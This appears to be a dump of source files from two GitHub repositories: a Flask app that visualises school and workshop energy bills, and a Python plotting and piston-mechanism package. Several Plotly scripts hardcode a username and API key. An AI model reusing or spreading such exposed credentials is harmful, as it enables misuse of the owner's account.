model.query.filter_by(**filters).all():\n if model == Energy:\n price = row.consumption_price if row.consumption_price is not None else 0 + row.transmission_price \\\n if row.transmission_price is not None else 0\n else:\n price = row.price\n if self.months_names_mapping[str(row.month)] not in months:\n months.append(self.months_names_mapping[str(row.month)])\n price_def[self.months_names_mapping[str(row.month)]].append(price)\n for month in months:\n prices.append(round(mean(price_def[month]), 1))\n else:\n for row in model.query.filter_by(**filters).all():\n if model == Energy:\n price = row.consumption_price if row.consumption_price is not None else 0 + row.transmission_price \\\n if row.transmission_price is not None else 0\n else:\n price = row.price\n months.append(\"{} {}\".format(self.months_names_mapping[str(row.month)], str(row.year)))\n prices.append(price)\n return months, prices\n\n def get_single_data(self):\n filters = {'year': self.interval, 'building': self.building}\n months, data = self.get_data_column_line(filters=filters, energy_type=self.energy_type)\n text = {\n \"title\": self.tra[\"title\"][\"single\"].format(energy_type=self.tra[\"names_title\"][self.energy_type],\n building=self.tra[\"names_title\"][self.building],\n interval=self.interval if self.interval != \"All\" else\n self.tra[\"names_title\"][\"All_years\"]),\n \"tooltip\": {\n\n \"energy_type\": {\n\n \"label\": self.tra[\"tooltip_labels\"][self.energy_type],\n \"value\": self.tra[\"tooltip_values\"][self.energy_type]\n },\n \"building\":\n {\n \"label\": self.tra[\"tooltip_labels\"][self.building],\n \"value\": self.tra[\"tooltip_values\"][self.building]\n }\n }\n\n }\n return text, {\n 'months': months,\n 'data': data,\n }\n\n def get_all_building_types_data(self):\n school_data_months, school_data = self.get_data_column_line(filters={'year': self.interval, 'building': 'SCH'},\n energy_type=self.energy_type)\n workshop_data_months, workshop_data = self.get_data_column_line(\n filters={'year': self.interval, 'building': 'WOR'},\n energy_type=self.energy_type)\n self.assert_intervals_correct(school_data_months, workshop_data_months)\n text = {\n \"title\": self.tra[\"title\"][\"both_buildings\"].format(energy_type=self.tra[\"names_title\"][self.energy_type],\n building_1=self.tra[\"names_title\"][\"SCH\"],\n building_2=self.tra[\"names_title\"][\"WOR\"],\n interval=self.interval if self.interval != \"All\" else\n self.tra[\"names_title\"][\"All_years\"]),\n \"legend\": self.tra[\"legend\"][\"both_buildings\"]\n\n }\n return text, {\n 'months': school_data_months,\n 'school_data': school_data,\n 'workshop_data': workshop_data\n }\n\n def get_all_energy_types_data(self, building: str = None):\n if not building:\n building = self.building\n filters = {'year': self.interval, 'building': self.building if building is None else building}\n energy_data_months, energy_data = self.get_data_column_line(filters=filters, energy_type='energy')\n gas_data_months, gas_data = self.get_data_column_line(filters=filters, energy_type='gas')\n self.assert_intervals_correct(energy_data_months, gas_data_months)\n text = {\n \"title\": self.tra[\"title\"][\"both_mediums\"].format(energy_type_1=self.tra[\"names_title\"][\"energy\"],\n energy_type_2=self.tra[\"names_title\"][\"gas\"],\n building=self.tra[\"names_title\"][building],\n interval=self.interval if self.interval != \"All\" else\n self.tra[\"names_title\"][\"All_years\"]),\n \"legend\": self.tra[\"legend\"][\"both_mediums\"]\n }\n return text, {\n 'months': energy_data_months,\n '{}energy_data'.format(\"\" if building is None else building + \"_\"): energy_data,\n '{}gas_data'.format(\"\" if building is None else building + \"_\"): gas_data\n }\n\n def get_all_energy_types_all_building_types_data(self):\n all_school_data = self.get_all_energy_types_data(building='SCH')[1]\n all_workshop_data = self.get_all_energy_types_data(building='WOR')[1]\n all_energy_types_all_building_types_data = {**all_school_data, **all_workshop_data}\n\n text = {\n \"title\": self.tra[\"title\"][\"both_mediums_and_buildings\"].format(\n energy_type_1=self.tra[\"names_title\"][\"energy\"],\n energy_type_2=self.tra[\"names_title\"][\"gas\"],\n building_1=self.tra[\"names_title\"][\"SCH\"],\n building_2=self.tra[\"names_title\"][\"WOR\"],\n interval=self.interval if self.interval != \"All\" else\n self.tra[\"names_title\"][\"All_years\"]),\n \"legend\": self.tra[\"legend\"][\"both_mediums_and_buildings\"]\n }\n return text, all_energy_types_all_building_types_data\n\n @staticmethod\n def assert_intervals_correct(first_interval: list, second_interval: list) -> None:\n assert first_interval == second_interval, '{} is not equal to {}'.format(first_interval, second_interval)\n\n @property\n def months_names_mapping(self):\n with open(MONTHS_NAMES_FILE) as f:\n return json.loads(f.read())\n\n def models_mapping(self, energy_type=None):\n mapping = {'energy': Energy, 'gas': Gas}\n return mapping[self.energy_type] if energy_type is None else mapping[energy_type]\n\n def get_translations(self):\n with open(TRANSLATIONS_FILE) as f:\n return json.loads(f.read())\n"
},
{
"alpha_fraction": 0.6253585815429688,
"alphanum_fraction": 0.6253585815429688,
"avg_line_length": 35.3125,
"blob_id": "8247dfb749a5c350761a7350afbe5a04afb1eb7a",
"content_id": "dfdc7b51ee33c0e2fc2a325335d1e405fa39f216",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1743,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 48,
"path": "/app/data_crud/views.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "from flask import render_template, redirect, url_for\n\nfrom app.data_crud import data\nfrom app.data_crud.forms import EnergyAdditionForm, GasAdditionForm\nfrom app.data_crud.prepare_data import get_data\nfrom app.models import Energy, Gas\nfrom database import db\n\n\[email protected]('/add/energy', methods=['GET', 'POST'])\ndef add_energy():\n \"\"\"\n Handle requests to the /add/energy route\n Add an electricity bill to the database through the form\n \"\"\"\n form = EnergyAdditionForm()\n if form.validate_on_submit():\n bill = Energy(year=form.date.data.year,\n month=form.date.data.month,\n quantity=form.quantity.data,\n consumption_price=form.consumption_price.data,\n transmission_price=form.transmission_price.data,\n building=form.building.data)\n db.session.add(bill)\n db.session.commit()\n return redirect(url_for(\"data_crud.add_energy\"))\n\n return render_template(\"add_energy.html\", rows=get_data(type_choice=\"energy\"), form=form)\n\n\[email protected]('/add/gas', methods=['GET', 'POST'])\ndef add_gas():\n \"\"\"\n Handle requests to the /add/gas route\n Add an gas bill to the database through the form\n \"\"\"\n form = GasAdditionForm()\n if form.validate_on_submit():\n bill = Gas(year=form.date.data.year,\n month=form.date.data.month,\n quantity=form.quantity.data,\n price=form.price.data,\n building=form.building.data)\n db.session.add(bill)\n db.session.commit()\n return redirect(url_for(\"data_crud.add_gas\"))\n\n return render_template(\"add_gas.html\", rows=get_data(type_choice=\"gas\"), form=form)\n"
},
{
"alpha_fraction": 0.7012194991111755,
"alphanum_fraction": 0.7027438879013062,
"avg_line_length": 41.32258224487305,
"blob_id": "1c023f609404f7570ee2552d2cb3287eb8ad23a1",
"content_id": "8de3ffa2b4e29c17457e248149e65a4cc1717e46",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1326,
"license_type": "no_license",
"max_line_length": 116,
"num_lines": 31,
"path": "/app/data_crud/forms.py",
"repo_name": "Naatoo/energy-visualization",
"src_encoding": "UTF-8",
"text": "from flask_wtf import FlaskForm\nfrom wtforms import SubmitField, FloatField, SelectField\nfrom wtforms.fields.html5 import DateField\nfrom wtforms.validators import DataRequired\n\n\nclass EnergyAdditionForm(FlaskForm):\n \"\"\"\n Form for users to add new energy bill\n \"\"\"\n date = DateField('Data', validators=[DataRequired()])\n quantity = FloatField('Ilość zużytej energii elektrycznej [kWh]', validators=[DataRequired()])\n consumption_price = FloatField('Cena za zużycie energii elektrycznej [zł]', validators=[DataRequired()])\n transmission_price = FloatField('Cena za przesył energii elektrycznej [zł]', validators=[DataRequired()], )\n building = SelectField('Budynek', validators=[DataRequired()], choices=[(\"SCH\", \"Szkoła\"), (\"WOR\", \"Warsztat\")])\n submit = SubmitField('Dodaj')\n\n # TODO: validators\n\n\nclass GasAdditionForm(FlaskForm):\n \"\"\"\n Form for users to add new gas bill\n \"\"\"\n date = DateField('Data', validators=[DataRequired()])\n quantity = FloatField('Ilość zużytego gazu [m3]', validators=[DataRequired()])\n price = FloatField('Cena za zużyty gaz [zł]', validators=[DataRequired()])\n building = SelectField('Budynek', validators=[DataRequired()], choices=[(\"SCH\", \"Szkoła\"), (\"WOR\", \"Warsztat\")])\n submit = SubmitField('Dodaj')\n\n # TODO: validators\n"
}
] | 15 |
ArdyBeheshti/Time_Series | https://github.com/ArdyBeheshti/Time_Series | 5419f228cbb582b10f5fe3b9cd5cc028b64abf91 | 5ea76adf371cd12960f61911b7b56e4597fc34af | 96786e9130753232c32b32609b6cde840ab0b750 | refs/heads/master | 2021-04-03T07:31:53.535909 | 2018-03-12T17:44:28 | 2018-03-12T17:44:28 | 124,927,370 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6774193644523621,
"alphanum_fraction": 0.7096773982048035,
"avg_line_length": 29,
"blob_id": "8c91986effd7d3b8639a1b3b384b04a39e0ab85d",
"content_id": "0b41deae90881c6dd1895b9cd31837d7fac66179",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 527,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 17,
"path": "/time_series2.py",
"repo_name": "ArdyBeheshti/Time_Series",
"src_encoding": "UTF-8",
"text": "import plotly.plotly as py\r\nimport plotly.graph_objs as go\r\nfrom plotly.offline.offline import _plot_html\r\nimport plotly\r\nimport pandas as pd\r\n\r\n# User API\r\nplotly.tools.set_credentials_file(username='ArdyBeheshti', api_key='wbdYVRcns2Jt1SpATA8R')\r\n\r\ndf2 = pd.read_csv('D:/Personal/EDF/rawdata_example2.csv', low_memory=False)\r\n\r\ndata2 = [go.Scatter(x=df2.Date_2017, y=df2.kW_15,\r\n name='kW Energy Output Site 2')]\r\n\r\n# Stand alone HTML\r\nplotly.offline.plot(data2, filename='data_set2.html')\r\npy.iplot(fig)\r\n"
},
{
"alpha_fraction": 0.6893616914749146,
"alphanum_fraction": 0.7170212864875793,
"avg_line_length": 25.764705657958984,
"blob_id": "e807a0956e7834021dffa7a2dda95dde509a17f0",
"content_id": "e4b4e1a7bb747c868923500332a51a83c6404723",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 470,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 17,
"path": "/time_series3.py",
"repo_name": "ArdyBeheshti/Time_Series",
"src_encoding": "UTF-8",
"text": "import plotly.plotly as py\r\nimport plotly.graph_objs as go\r\nfrom plotly.offline.offline import _plot_html\r\nimport plotly\r\nimport pandas as pd\r\n\r\n# User API\r\nplotly.tools.set_credentials_file(username='ArdyBeheshti', api_key='wbdYVRcns2Jt1SpATA8R')\r\n\r\ndf3 = pd.read_csv('D:/Personal/EDF/rawdata_example3.csv', low_memory=False)\r\n\r\ndata3 = [go.Scatter(\r\n x=df3.Date,\r\n y=df3.Mean_15)]\r\n\r\nplotly.offline.plot(data3, filename='data_set3.html')\r\npy.iplot(data3)"
},
{
"alpha_fraction": 0.6156670451164246,
"alphanum_fraction": 0.6376988887786865,
"avg_line_length": 29.5,
"blob_id": "266396417ff78dc114303bf4443698c92f5ff53b",
"content_id": "cbeb5f2017e7dd52f3092812d2d9f62ee339bc5a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 817,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 26,
"path": "/time_series1.py",
"repo_name": "ArdyBeheshti/Time_Series",
"src_encoding": "UTF-8",
"text": "import plotly.plotly as py\r\nimport plotly.graph_objs as go\r\nfrom plotly.offline.offline import _plot_html\r\nimport plotly\r\nimport pandas as pd\r\n\r\n# User API\r\nplotly.tools.set_credentials_file(username='ArdyBeheshti', api_key='wbdYVRcns2Jt1SpATA8R')\r\n\r\n# File path\r\ndf = pd.read_csv('D:/Personal/EDF/rawdata_example1.csv', low_memory=False)\r\n\r\n# Plotting \r\ndata1 = go.Scatter(x=df.Date, y=df.kW,\r\n name='kW Energy Output Site')\r\n\r\nlayout = go.Layout(title='kW at Site / 15 Minutes',\r\n xaxis = dict(title = 'Date-time'),\r\n yaxis = dict(title = 'kW'),\r\n plot_bgcolor='rgb(230, 230,230)',\r\n showlegend=True)\r\nfig = go.Figure(data=[data1], layout=layout)\r\n\r\n# Stand alone HTML\r\nplotly.offline.plot(fig, filename='data_set1.html')\r\npy.iplot(fig)"
}
] | 3 |
jowr/jopy | https://github.com/jowr/jopy | 4cceb56ee1754833ea65878ffd62c1e57e269219 | 5f7e6581e51c385d16154d95b5473e9f6b6e76e7 | 367631ad0ada58531f89da4fbb9838b30006da2b | refs/heads/master | 2016-09-09T20:17:03.271053 | 2015-09-28T16:48:52 | 2015-09-28T16:48:52 | 38,489,050 | 2 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5466101765632629,
"alphanum_fraction": 0.5466101765632629,
"avg_line_length": 12.05555534362793,
"blob_id": "b7be183e8d9c9c6ffd663d404ab4fd27de2e3b6b",
"content_id": "e8b1ab3bdf33d32f712227d66aec47eb5be47763",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 472,
"license_type": "permissive",
"max_line_length": 26,
"num_lines": 36,
"path": "/docs/code/jopy.rst",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "jopy package\n============\n\n.. automodule:: jopy\n :members:\n :undoc-members:\n :show-inheritance:\n\nSubpackages\n-----------\n\n.. toctree::\n\n jopy.data\n jopy.recip\n jopy.styles\n jopy.thermo\n\nSubmodules\n----------\n\njopy.base module\n----------------\n\n.. automodule:: jopy.base\n :members:\n :undoc-members:\n :show-inheritance:\n\njopy.utils module\n-----------------\n\n.. automodule:: jopy.utils\n :members:\n :undoc-members:\n :show-inheritance:\n\n\n"
},
{
"alpha_fraction": 0.597749650478363,
"alphanum_fraction": 0.6174402236938477,
"avg_line_length": 26.33333396911621,
"blob_id": "8ef726bfa8f257a29d2ea975ce5419d64ac3affb",
"content_id": "917a5b1eef986368ac2be29c22c1043e64bd423c",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2133,
"license_type": "permissive",
"max_line_length": 73,
"num_lines": 78,
"path": "/jopy/styles/__init__.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "\nimport matplotlib.pyplot as plt \n\ntry:\n from .plots import Figure\nexcept:\n from jopy.styles.plots import Figure\n\ndef get_figure(orientation='landscape',width=110,fig=None,axs=False):\n \"\"\"Creates a figure with some initial properties\n \n The object can be customised with the parameters. But since it is an \n object, it can also be modified later.\n \n Parameters\n ----------\n orientation : str\n either landscape or portrait\n width : float\n width in mm, used for scaling the default A4 format\n if width is less than 10, use it as a factor to apply to A4\n fig : matplotlib.figure.Figure, jopy.plots.Figure\n The figure object to handle, None creates a new figure\n axs : boolean\n True or False - Should an axis object be added to the figure?\n \n Returns\n -------\n jopy.plots.Figure, matplotlib.figure.Figure\n The figure object\n \n \"\"\"\n\n if fig is None: fig = plt.figure()\n \n fig.__class__ = Figure \n\n sideA = 297. # height of A4\n sideB = 210. # width of A4\n mm_to_inch = 3.93700787401575/100.0 # factor mm to inch\n\n if width < 0: raise ValueError(\"size cannot be less than zero.\")\n\n width *= mm_to_inch\n sideA *= mm_to_inch\n sideB *= mm_to_inch\n\n if orientation=='landscape':\n if width < 10*mm_to_inch: width *= sideA\n scale = width/sideA\n width = sideA*scale #=width\n height = sideB*scale\n elif orientation=='portrait':\n if width < 10*mm_to_inch: width *= sideB\n scale = width/sideB\n width = sideB*scale #=width\n height = sideA*scale\n else:\n raise ValueError(\"Unknown orientation\")\n fig.set_size_inches(width,height)\n if axs: fig.add_subplot(111)\n return fig\n\n\ndef plot_axis(data,kind,ax=None):\n if ax is None: ax = plt.gca()\n \n\n\n\n\nif __name__ == \"__main__\":\n from jopy.utils import module_class_dict\n import jopy.styles.mplib as mpl\n dic = module_class_dict(mpl)\n for i in dic:\n line_fig,map_fig = dic[i]()._show_info()\n line_fig.savefig(i+\"_lines.pdf\")\n map_fig.savefig(i+\"_maps.pdf\")\n"
},
{
"alpha_fraction": 0.6198347210884094,
"alphanum_fraction": 0.6198347210884094,
"avg_line_length": 16.285715103149414,
"blob_id": "59f1b7448031dad023cd70d9fa83660deb95df48",
"content_id": "63fe33bf96b9d12af1804ab0a8f96bdc0a074589",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 121,
"license_type": "permissive",
"max_line_length": 60,
"num_lines": 7,
"path": "/docs/code/index.rst",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "===========\nSource Code\n===========\n\nThe package is documented by means of docstring with autodoc\n\n.. include:: jopy.rst "
},
{
"alpha_fraction": 0.5355665683746338,
"alphanum_fraction": 0.5760959386825562,
"avg_line_length": 31.931507110595703,
"blob_id": "094f04db09d6181dfb54da49a069f59624202e5a",
"content_id": "973a024597da6461b6a3f794888a9df01467806a",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2418,
"license_type": "permissive",
"max_line_length": 101,
"num_lines": 73,
"path": "/jopy/recip/__init__.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nif __name__ == \"__main__\":\n from jopy.recip.mechanisms import RecipExplicit, RecipImplicit\n #from math import pi\n import numpy as np\n import matplotlib.pyplot as plt\n \n me = RecipImplicit()\n metoo = RecipExplicit()\n cr = 0.05\n cl = 0.1\n bo = 0.1\n pp = 0.75*cr\n cv = 20e-6\n me.set_geometry(cr, cl, bo, pp, cv)\n metoo.set_geometry(cr, cl, bo, pp, cv)\n \n full = me.revolution(1000)\n \n pos = me.l(full)\n postoo = metoo.l(full)\n #fultoo = metoo._calc_theta_from_distance(postoo)\n \n #plt.figure()\n #plt.plot(full,pos)\n #plt.plot(full,postoo)\n #plot(fultoo,postoo,':')\n \n print(\" TDC : BDC \")\n print(\"{0:8.2f} : {1:8.2f}\".format(np.degrees(me.theta_0_TDC), np.degrees(me.theta_0_BDC)))\n print(\"{0:8.2f} : {1:8.2f}\".format(np.degrees(metoo.theta_0_TDC), np.degrees(metoo.theta_0_BDC)))\n print(\"{0:8.2f} : {1:8.2f}\".format(np.degrees(me.TDC()), np.degrees(me.BDC())))\n print(\"{0:8.2f} : {1:8.2f}\".format(np.degrees(metoo.TDC()), np.degrees(metoo.BDC())))\n print(\"{0:8.4f} : {1:8.4f}\".format(me.l_cr_max, me.l_cr_min))\n print(\"{0:8.4f} : {1:8.4f}\".format(metoo.l_cr_max, metoo.l_cr_min))\n print(\"{0:8.4f} : {1:8.4f}\".format(np.min(pos), np.max(pos)))\n print(\"{0:8.4f} : {1:8.4f}\".format(np.min(postoo),np.max(postoo)))\n #print(pi) \n \n plt.figure()\n for p in np.linspace(0, 0.8, 5):\n pp = p*cr\n me.set_geometry(cr, cl, bo, pp, cv)\n metoo.set_geometry(cr, cl, bo, pp, cv)\n diff = (me.V(full)-metoo.V(full))/metoo.V(full)*100.0\n plt.plot(full,diff,label=str(p)+\": (Dubbel-Bjarne)/Bjarne\")\n plt.legend(loc=3)\n plt.savefig(\"recip_vol_dif.pdf\")\n \n plt.figure()\n plt.plot(full,me.V(full)*1e6,label='Dubbel')\n plt.plot(full,metoo.V(full)*1e6,label='Bjarne')\n plt.legend(loc=3)\n plt.savefig(\"recip_vol.pdf\")\n \n plt.figure()\n #plt.plot(full,me.V(full)*1e6,label='Dubbel')\n plt.plot(full,metoo.dVdtheta(full)*1e6,label='Bjarne')\n plt.legend(loc=3)\n plt.savefig(\"recip_dvoldtheta.pdf\")\n \n plt.figure()\n #plt.plot(full,me.V(full)*1e6,label='Dubbel')\n plt.plot(full,metoo.d2Vdtheta2(full)*1e6,label='Bjarne')\n plt.legend(loc=3)\n plt.savefig(\"recip_d2voldtheta2.pdf\")\n \n plt.show()\n \n me.info()\n metoo.info()\n \n \n "
},
{
"alpha_fraction": 0.34683623909950256,
"alphanum_fraction": 0.605066180229187,
"avg_line_length": 47.37215042114258,
"blob_id": "bd1953fddd6940e6c337a79db13d6cf3b6478631",
"content_id": "c41aa6d3e8a737635f8e83a9b10eb99f655b294d",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 38214,
"license_type": "permissive",
"max_line_length": 338,
"num_lines": 790,
"path": "/jopy/styles/mplib.py",
"repo_name": "jowr/jopy",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\n\nfrom ..base import JopyBaseClass\n\n\nimport matplotlib as mpl\nimport matplotlib.cm as mplcm\nimport numpy as np\nfrom matplotlib.colors import LinearSegmentedColormap\nimport brewer2mpl\nfrom itertools import cycle\nimport sys\nimport platform\n\nclass BaseStyle(JopyBaseClass):\n \n default_map = \"cubehelix_kindl\"\n default_lst = 4\n \n def __init__(self):\n JopyBaseClass.__init__(self)\n \n self._figure = None\n self._lines = {}\n self._ccycle = None # Colour cycle\n self._scycle = None # Style cycle\n self._mcycle = None # Marker cycle\n self._black = \"#222222\"\n #self._black = \"#000000\"\n #self._black = 'green'\n self._lgrey = \"#FBFBFB\" #\"GhostWhite\"\n self._linewi = 0.75\n self._color_maps = {}\n self._register_color_maps()\n self._color_lists = {}\n self._register_color_lists()\n \n def update_rc_params(self):\n #mpl.rcParams['legend.fontsize'] = 'medium'\n mpl.rcParams['font.size'] = 11.0\n mpl.rcParams['font.serif'] = \"Bitstream Vera Serif, New Century Schoolbook, Century Schoolbook L, Utopia, ITC Bookman, Bookman, Nimbus Roman No9 L, Times New Roman, Times, Palatino, Charter, serif\"\n mpl.rcParams['font.sans-serif'] = \"Bitstream Vera Sans, Lucida Grande, Verdana, Geneva, Lucid, Arial, Helvetica, Avant Garde, sans-serif\"\n mpl.rcParams['font.cursive'] = \"Apple Chancery, Textile, Zapf Chancery, Sand, cursive\"\n mpl.rcParams['font.fantasy'] = \"Comic Sans MS, Chicago, Charcoal, Impact, Western, fantasy\"\n mpl.rcParams['font.monospace'] = \"Bitstream Vera Sans Mono, Andale Mono, Nimbus Mono L, Courier New, Courier, Fixed, Terminal, monospace\"\n \n #mpl.rcParams['text.usetex'] = True\n mpl.rcParams['text.latex.unicode']=True\n mpl.rcParams['text.latex.preamble'] = self._mplpreamble()\n \n mpl.rcParams['mathtext.fontset'] = \"cm\" # Should be 'cm' (Computer Modern), 'stix', 'stixsans'\n \n if platform.system() == 'Windows':\n mpl.rcParams['pdf.fonttype'] = 42\n mpl.rcParams['ps.fonttype'] = 42\n\n \n # ######################\n mpl.rcParams[\"patch.edgecolor\"] = self._black\n mpl.rcParams[\"text.color\"] = self._black\n mpl.rcParams[\"axes.edgecolor\"] = self._black # axes edge color\n mpl.rcParams[\"axes.linewidth\"] = self._linewi # edge linewidth\n mpl.rcParams[\"axes.labelcolor\"] = self._black\n mpl.rcParams[\"xtick.major.pad\"] = 6 # distance to major tick label in points\n mpl.rcParams[\"xtick.minor.pad\"] = 6 # distance to the minor tick label in points\n mpl.rcParams[\"xtick.color\"] = self._black # color of the tick labels\n mpl.rcParams[\"ytick.major.pad\"] = 6 # distance to major tick label in points\n mpl.rcParams[\"ytick.minor.pad\"] = 6 # distance to the minor tick label in points\n mpl.rcParams[\"ytick.color\"] = self._black # color of the tick labels\n mpl.rcParams[\"grid.color\"] = self._lgrey # grid color\n mpl.rcParams[\"legend.numpoints\"] = 1 # the number of points in the legend line\n mpl.rcParams[\"legend.fontsize\"] = \"medium\"\n mpl.rcParams[\"legend.scatterpoints\"] = 1 # number of scatter points\n mpl.rcParams[\"path.simplify\"] = True # When True, simplify paths by removing \"invisible\" points\n mpl.rcParams[\"savefig.dpi\"] = 300 # figure dots per inch\n #mpl.rcParams[\"savefig.format\"] = \"pdf\" # png, ps, pdf, svg\n mpl.rcParams[\"savefig.bbox\"] = \"tight\" # 'tight' or 'standard'.\n #\n # Update the colours to be black again\n #mpl.rcParams[\"patch.edgecolor\"] = self._black\n #mpl.rcParams[\"text.color\"] = self._black\n #mpl.rcParams[\"axes.edgecolor\"] = self._black # axes edge color\n #mpl.rcParams[\"axes.labelcolor\"] = self._black\n #mpl.rcParams[\"xtick.color\"] = \"000000\" # color of the tick labels\n #mpl.rcParams[\"ytick.color\"] = \"000000\" # color of the tick labels\n #\n mpl.rcParams['contour.negative_linestyle'] = 'solid'\n #\n #mpl.use(\"pgf\")\n #mpl.rcParams['text.usetex'] = True\n mpl.rcParams[\"pgf.texsystem\"] = \"pdflatex\"\n mpl.rcParams[\"pgf.preamble\"] = self._mplpreamble()\n mpl.rcParams[\"legend.handlelength\"] = 1.75 # the length of the legend lines in fraction of fontsize\n #: [\n # r\"\\usepackage[utf8x]{inputenc}\",\n # r\"\\usepackage[T1]{fontenc}\",\n # r\"\\usepackage{cmbright}\",\n # ]\n # }\n #mpl.rcParams[\"axes.color_cycle\"] = ', '.join([self.rgb_to_hex(col) for col in self.color_cycle()])\n #print(self.cycle_to_list(self.color_cycle()))\n mpl.rcParams[\"axes.color_cycle\"] = self.cycle_to_list(self.color_cycle())\n #axes.color_cycle : b, g, r, c, m, y, k # color cycle for plot lines\n # as list of string colorspecs:\n # single letter, long name, or\n # web-style hex\n \n def _mplpreamble(self):\n preamble = []\n preamble.append(r'\\usepackage[binary-units=true,abbreviations=true]{siunitx}')\n preamble.append(r'\\usepackage{amsmath}')\n #preamble.append(r'\\usepackage{amssymb}')\n preamble.append(r'\\usepackage[version=3]{mhchem}')\n return preamble \n \n def _add_to_list(self,objs,lst):\n \"\"\"Takes a list of object, adds them to lst and returns the new list. If any of the objects was in the list before, it will be removed.\"\"\"\n # https://docs.python.org/2/library/itertools.html#recipes\n #seen = set()\n #seen_add = seen.add\n #for element in ifilterfalse(seen.__contains__, objs+lst):\n # seen_add(element)\n # yield element\n res = []\n for i in objs+lst:\n try: iy = i.strip()\n except: iy = i; pass \n if iy not in res:\n res.append(iy)\n return res\n \n def _add_to_rc_font_list(self,objs,lst):\n mpl.rcParams[lst] = self._add_to_list(objs.split(','), mpl.rcParams[lst])\n\n\n def cycle_to_list(self, cyc):\n \"\"\"Convert a cycle to a list of unique entries\n \n Takes a cycle object and extract elements until\n it receives and object that has been extracted before\n \n \"\"\"\n lst = []\n while True:\n obj = next(cyc)\n if obj not in lst: lst.append(obj)\n else: return lst\n\n def multiply_list(self, lst, doubles=1):\n out = []\n for i in lst:\n for _ in range(doubles):\n out.append(i)\n return out\n\n def multiply_cycle(self, cyc, doubles=1):\n out = self.cycleToList(cyc)\n out = self.multiplyList(out, doubles=doubles)\n return cycle(out)\n\n # http://stackoverflow.com/questions/214359/converting-hex-color-to-rgb-and-vice-versa\n def hex_to_rgb(self,hex_string):\n rgb = mpl.colors.hex2color(hex_string)\n return tuple([int(255*x) for x in rgb])\n\n def rgb_to_hex(self,rgb_tuple):\n return mpl.colors.rgb2hex([1.0*x/255 for x in rgb_tuple])\n \n def _to_rgb(self,inp):\n cc = mpl.colors.ColorConverter()\n return cc.to_rgb(inp) \n\n\n def get_color_map(self,name=None,reverse=False):\n \"\"\"A function to get a matplotlib colour map by name\"\"\"\n if name is None: name = self.default_map \n if name.endswith('_r'):\n name = name[:-2] # remove \"_r\"\n reverse = not reverse\n # Use the standard maps\n if reverse:\n cm = mplcm.get_cmap(name+'_r')\n else:\n cm = mplcm.get_cmap(name)\n return cm #LinearSegmentedColormap.from_list(cm)\n\n \n def _register_color_maps(self):\n \"\"\"A function to create and register the custom colour map objects \n in a way matplotlib can digest. The cubehelix (including Kindl et al., \n the Brewer3 colour maps (YlOrRd, PuBuGn, YlGnBu) all provide proper \n desaturation in grey-scale.\n \n \"\"\"\n specs = {}\n # We start out with the custom cubehelix maps\n #========= =======================================================\n #Keyword Description\n #========= =======================================================\n #gamma gamma factor to emphasise either low intensity values\n # (gamma < 1), or high intensity values (gamma > 1);\n # defaults to 1.0.\n #s the start color; defaults to 0.5 (i.e. purple).\n #r the number of r,g,b rotations in color that are made\n # from the start to the end of the color scheme; defaults\n # to -1.5 (i.e. -> B -> G -> R -> B).\n #h the hue parameter which controls how saturated the\n # colors are. If this parameter is zero then the color\n # scheme is purely a greyscale; defaults to 1.0.\n #========= =======================================================\n # 0 = blue, 1 = red, 2 = green\n specs['cubehelix_alt'] = mpl._cm.cubehelix(h=1.5) # standard colours but more intensity\n specs['cubehelix_blue'] = mpl._cm.cubehelix(s=0.3,r=-0.5,h=1.5) # blue colours and higher intensity\n specs['cubehelix_red'] = mpl._cm.cubehelix(s=1.3,r=-0.5,h=1.5) # blue colours and higher intensity\n specs['cubehelix_green'] = mpl._cm.cubehelix(s=2.3,r=-0.5,h=1.5) # blue colours and higher intensity\n specs['cubehelix_kindl'] = mpl._cm.cubehelix(gamma=1.4,s=0.4,r=-0.8,h=2.0) # blue colours and higher intensity\n\n # A Python version of Matteo Niccoli's colourmaps\n # http://nbviewer.ipython.org/github/kwinkunks/notebooks/blob/master/Matteo_colourmaps.ipynb\n #\n\n ## The original data is approximated with polynomials\n #p0 = np.array([ -3.00669779e-36, 6.26525719e-33, -5.87240910e-30, 3.25751282e-27, -1.18087586e-24, 2.89863878e-22, -4.75604889e-20, 4.67614077e-18, -1.13599364e-16, -4.16063333e-14, 7.27326802e-12, -6.41161566e-10, 3.52560300e-08, -1.23850903e-06, 2.67527478e-05, -3.20955377e-04, 1.51205802e-03, 8.78290363e-03, 2.40494252e-02])\n #p1 = np.array([ 8.13719543e-37, -1.77388587e-33, 1.75833582e-30, -1.04750030e-27, 4.17412745e-25, -1.17054612e-22, 2.36196641e-20, -3.43234035e-18, 3.50200516e-16, -2.30787699e-14, 6.79825384e-13, 3.17731005e-11, -4.59193023e-09, 2.36050767e-07, -6.49812536e-06, 9.42940406e-05, -6.24155259e-04, 4.04636648e-03, 1.11088863e-02])\n #p2 = np.array([ 